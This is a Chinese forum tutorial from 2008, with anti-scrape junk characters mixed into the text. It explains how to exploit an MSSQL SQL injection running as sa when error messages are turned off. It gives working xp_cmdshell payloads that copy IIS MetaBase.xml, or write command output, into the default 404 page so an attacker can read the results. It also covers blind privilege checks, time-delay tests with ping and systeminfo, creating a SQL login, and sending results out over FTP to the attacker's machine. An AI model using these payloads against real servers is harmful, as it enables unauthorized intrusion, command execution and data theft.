遇到一个sa注入点,mssql错误提示关闭无疑shi让人郁闷的事情。
$ G8 V+ m7 f3 h2 h4 B. V+ z5 Y, y- c
虽然错误提示关闭也shi可能以列目录,执行命令,但shishi多少就有些不方便。阿D就可能以在错误提示关闭的情况下列目录。( l! y8 e v4 @4 `
& q0 F0 R5 W+ p8 T( y! G$ [/ N 这里有一个很好的方法,让你得到web目录路径,让你得到服务器上的文件,让你执行命令得到回显。" @+ N, u) J8 i" S7 n
% J4 T( k& o& S+ x( }5 [ IIS,404页面的默认路径shi C:\Windows\Help\iisHelp\common\404b.htm
9 s) @* |: D9 V! v4 J1 e
) {0 ~/ ?, G& G 得到web路径exec master..xp_cmdshell ’copy C:\Windows\system32\inetsrv\MetaBase.xml C:\Windows\Help\iisHelp\common\404b.htm’--
7 d a# `# K# j3 k
' R3 Y; F6 J' t4 a ,这shi20003,如果是2000的话,exec master..xp_cmdshell ’copy C:\Winnt\system32 \inetsrv\MetaBase.xml C:\Winnts\Help\iisHelp\common\404b.htm’--,在 MetaBase.xml存着IIS的很多信息。执行上面的语句之后,你再访问一下网站一个不存在的文件或目录,显示的就shiMetaBase.xml 的内容了。. ?% Z! y+ T* i) [
1 B& Q- C/ `7 B* K3 C 执行命令得到回显+ h j- j# E" h0 a4 ~0 k$ s
2 `% w/ j7 h v) X 通过上面得到web路径的方法,你肯定很容易想到怎么得到回显了吧。 2003,exec master..xp_cmdshell ’ver >C:\Windows\Help\iisHelp\common \404b.htm’--如果是2000,exec master..xp_cmdshell ’ver >C:\Winnt\Help \iisHelp\common\404b.htm’--
! c/ r: u1 s$ e0 @- a& O3 i3 ?8 l) `* V8 ?$ o: k2 d. n' v2 t @5 f a
得到文件也shi相同,把文件copy到404b.htm就行了& l) w5 q; H3 [; }7 L8 r
$ v# L q2 z: _3 D) A Z by 28ice, 2008/6/26- C9 P" T0 j3 [5 v; j( G
8 i5 S' ?- ~7 t9 V% y! p* n 摘自 28度的冰
% A: K* o0 l5 Y% N3 `/ d0 y/ r0 t) Y$ }( Q+ H
盲注判断权限和操作系统版本
- s( S, T4 P/ x5 v& t2 H9 f2 \& h4 {4 I' D6 m' [
首先第一个问题,如果错误提示关闭,怎么判断当前的权限shi否为sysadmin呢?/ f; g' i9 g% q# ~
. X5 L2 s- \8 l 最简单的,可能以用这样的方法:
. x9 f, e5 ?; e" ~& N
9 l3 O+ O# a, E- V0 X, f 1=(select IS_SRVROLEMEMBER(’sysadmin’))
+ }! h% Y3 v; p7 T' m
: t5 T6 r% d) z8 F 当然,有些情况下,这个方法并不奏效。
8 _& ~% D' A4 H2 s( @! b
. l" J0 H/ j( V/ Z& z 既然shisa,我们就可能以通过执行命令判断,不过,既然错误提示关闭,那么执行的结果就很不容易拿到。
) ?5 }; M$ s3 q3 S# S: F/ |4 G
) i" {3 E6 ~! h0 ?+ x5 ` 有个3办法可能以解决这个问题
$ S, E% a8 Q3 z. S- T6 p. M; d# u4 Y8 I( s+ L
a.把执行结果写到404b.htm,具体请看我的上一篇文章
, _ P- z$ A* s, S" M, W+ l" C$ {; z+ `4 R5 A) P
b.执行ping 127.1 -n 10,看看页面shi否延迟10秒钟( N3 S/ E2 E. {$ D9 m6 \
9 \& Q" s1 I7 w% Z$ f c.如果1433端口可能以连接,那干脆新建个sql登录$ U! v" U3 g! k* a: s
8 d9 K+ h( D, V1 L/ f# U& e
d.如果大牛你shi公网Ip,openrowset,或者直接telnet,ftp到你自己的机子,说到这里,ftp还有别的用处,比如,把执行结果写到文件中,然后通过ftp传到你的机子上,这何尝不shi获得执行结果的一个好办法。当然,你可能能要用到ftp的-s参数9 k2 Z& V3 B2 R+ Z+ k
2 S. D9 n5 J l2 ^+ z/ b! Z- Z% @% h" Y6 y 还有一个问题,怎么判断系统shi2000还shi2003?当然指的shi错误提示关闭的情况下4 c( R4 u/ F* q3 R) z1 N
4 n7 V1 y; }4 U 很简单
, _* L; ]' t* u o% X
7 W0 j8 v" d% M 执行systeminfo9 n* F( \" }( V$ V
; O0 ~7 E2 r0 j2 @1 M 在xp/2003下才有这个命令,这个命令执行大概需要5秒钟时间。如果页面延迟5秒,就可能以进一步断定这shi2003(当然不排除2008的可能能性)。 |